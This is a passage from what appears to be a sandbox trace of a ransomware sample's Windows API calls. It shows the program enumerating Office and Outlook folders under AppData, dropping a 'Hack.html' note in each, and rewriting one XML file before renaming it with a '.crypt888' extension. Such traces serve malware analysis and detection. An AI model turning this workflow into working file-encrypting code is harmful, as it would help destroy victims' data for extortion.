nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\", lpFilePart=0x0) returned 0x52 [0077.191] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.192] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\Hack.html", lpFilePart=0x0) returned 0x5b [0077.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.203] GetFileType (hFile=0x174) returned 0x1 [0077.203] GetFileType (hFile=0x174) returned 0x1 [0077.204] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\Hack.html", lpFilePart=0x0) returned 0x4b [0077.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.205] GetFileType (hFile=0x174) returned 0x1 [0077.205] GetFileType (hFile=0x174) returned 0x1 [0077.206] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove", lpFilePart=0x0) returned 0x43 [0077.206] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\", lpFilePart=0x0) returned 0x44 [0077.206] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.206] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove", lpFilePart=0x0) returned 0x43 [0077.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\", lpFilePart=0x0) returned 0x44 [0077.207] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.207] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System", lpFilePart=0x0) returned 0x4a [0077.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\", lpFilePart=0x0) returned 0x4b [0077.207] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.208] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System", lpFilePart=0x0) returned 0x4a [0077.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\", lpFilePart=0x0) returned 0x4b [0077.208] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.208] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\Hack.html", lpFilePart=0x0) returned 0x54 [0077.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\groove\\system\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.209] GetFileType (hFile=0x174) returned 0x1 [0077.209] GetFileType (hFile=0x174) returned 0x1 [0077.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User", lpFilePart=0x0) returned 0x48 [0077.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\", lpFilePart=0x0) returned 0x49 [0077.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.210] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User", lpFilePart=0x0) returned 0x48 [0077.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\", lpFilePart=0x0) returned 0x49 [0077.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0077.211] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.211] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\Hack.html", lpFilePart=0x0) returned 0x52 [0077.211] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\User\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\groove\\user\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.211] GetFileType (hFile=0x174) returned 0x1 [0077.211] GetFileType (hFile=0x174) returned 0x1 [0077.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\Hack.html", lpFilePart=0x0) returned 0x4d [0077.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\groove\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.213] GetFileType (hFile=0x174) returned 0x1 [0077.213] GetFileType (hFile=0x174) returned 0x1 [0077.214] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig", lpFilePart=0x0) returned 0x47 [0077.214] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\", lpFilePart=0x0) returned 0x48 [0077.214] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.214] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.214] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig", lpFilePart=0x0) returned 0x47 [0077.215] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\", lpFilePart=0x0) returned 0x48 [0077.215] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1a8 [0077.215] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0077.215] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", lpFilePart=0x0) returned 0x6c [0077.215] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.225] GetFileType (hFile=0x174) returned 0x1 [0077.225] GetFileType (hFile=0x174) returned 0x1 [0077.225] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0x7ef [0077.226] ReadFile (in: hFile=0x174, lpBuffer=0x284ed3c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x284ed3c*, lpNumberOfBytesRead=0x39ec88*=0x7ef, lpOverlapped=0x0) returned 1 [0077.251] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", lpFilePart=0x0) returned 0x6c [0077.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0077.253] GetFileType (hFile=0x174) returned 0x1 [0077.253] GetFileType (hFile=0x174) returned 0x1 [0077.253] WriteFile (in: hFile=0x174, lpBuffer=0x289f45c*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x39ec4c, lpOverlapped=0x0 | out: lpBuffer=0x289f45c*, lpNumberOfBytesWritten=0x39ec4c*=0x7f0, lpOverlapped=0x0) returned 1 [0077.254] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml", lpFilePart=0x0) returned 0x6c [0077.254] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.crypt888", lpFilePart=0x0) returned 0x75 [0077.254] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bd15230, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0xbf3f83c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0077.254] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.xml.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.xml.crypt888")) returned 1 [0077.255] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\Hack.html", lpFilePart=0x0) returned 0x51 [0077.255] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.257] GetFileType (hFile=0x174) returned 0x1 [0077.257] GetFileType (hFile=0x174) returned 0x1 [0077.258] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Hack.html", lpFilePart=0x0) returned 0x46 [0077.259] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.259] GetFileType (hFile=0x174) returned 0x1 [0077.259] GetFileType (hFile=0x174) returned 0x1 [0077.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x3d [0077.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\", lpFilePart=0x0) returned 0x3e [0077.260] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0077.261] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0077.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x3d [0077.261] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\", lpFilePart=0x0) returned 0x3e [0077.261] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0077.262] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0077.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache", lpFilePart=0x0) returned 0x47 [0077.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\", lpFilePart=0x0) returned 0x48 [0077.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a6e8 [0077.262] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0077.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache", lpFilePart=0x0) returned 0x47 [0077.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\", lpFilePart=0x0) returned 0x48 [0077.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a6e8 [0077.263] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0077.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Hack.html", lpFilePart=0x0) returned 0x51 [0077.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\RoamCache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\roamcache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.263] GetFileType (hFile=0x174) returned 0x1 [0077.263] GetFileType (hFile=0x174) returned 0x1 [0077.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Hack.html", lpFilePart=0x0) returned 0x47 [0077.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.269] GetFileType (hFile=0x174) returned 0x1 [0077.269] GetFileType (hFile=0x174) returned 0x1 [0077.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x3f [0077.270] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\", lpFilePart=0x0) returned 0x40 [0077.270] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0077.279] FindClose (in: hFindFile=0x59a6e8 | out: 